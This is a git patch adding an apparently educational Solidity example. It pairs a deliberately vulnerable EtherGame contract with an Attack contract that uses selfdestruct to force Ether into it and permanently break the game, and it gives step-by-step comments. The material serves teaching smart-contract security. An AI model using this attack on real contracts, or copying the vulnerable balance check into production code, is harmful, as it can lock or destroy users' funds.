From 901fd4ae3fe92e673e2b3c3c9af5a449ef063166 Mon Sep 17 00:00:00 2001 From: "steinkirch.eth, phd" <1130416+mvonsteinkirch@users.noreply.github.com> Date: Mon, 19 Jun 2023 09:20:32 -0700 Subject: [PATCH] Create self_destruct.sol --- .../self_destruct/self_destruct.sol | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 advanced_expert/vulnerabilities/self_destruct/self_destruct.sol diff --git a/advanced_expert/vulnerabilities/self_destruct/self_destruct.sol b/advanced_expert/vulnerabilities/self_destruct/self_destruct.sol new file mode 100644 index 0000000..a5baa05 --- /dev/null +++ b/advanced_expert/vulnerabilities/self_destruct/self_destruct.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +// Contracts can be deleted from the blockchain by calling selfdestruct. +// selfdestruct sends all remaining Ether stored in the contract to a designated address. +// Vulnerability: A malicious contract can use selfdestruct to force sending Ether to any contract. + +// The goal of this game is to be the 7th player to deposit 1 Ether. +// Players can deposit only 1 Ether at a time. +// Winner will be able to withdraw all Ether. + +/* +1. Deploy EtherGame +2. Players (say Alice and Bob) decides to play, deposits 1 Ether each. +2. Deploy Attack with address of EtherGame +3. Call Attack.attack sending 5 ether. This will break the game + No one can become the winner. + +What happened? +Attack forced the balance of EtherGame to equal 7 ether. +Now no one can deposit and the winner cannot be set. +*/ + +contract EtherGame { + uint public targetAmount = 7 ether; + address public winner; + + function deposit() public payable { + require(msg.value == 1 ether, "You can only send 1 Ether"); + + uint balance = address(this).balance; + require(balance <= targetAmount, "Game is over"); + + if (balance == targetAmount) { + winner = msg.sender; + } + } + + function claimReward() public { + require(msg.sender == winner, "Not winner"); + + (bool sent, ) = msg.sender.call{value: address(this).balance}(""); + require(sent, "Failed to send Ether"); + } +} + +contract Attack { + EtherGame etherGame; + + constructor(EtherGame _etherGame) { + etherGame = EtherGame(_etherGame); + } + + function attack() public payable { + // You can simply break the game by sending ether so that + // the game balance >= 7 ether + + // cast address to payable + address payable addr = payable(address(etherGame)); + selfdestruct(addr); + } +}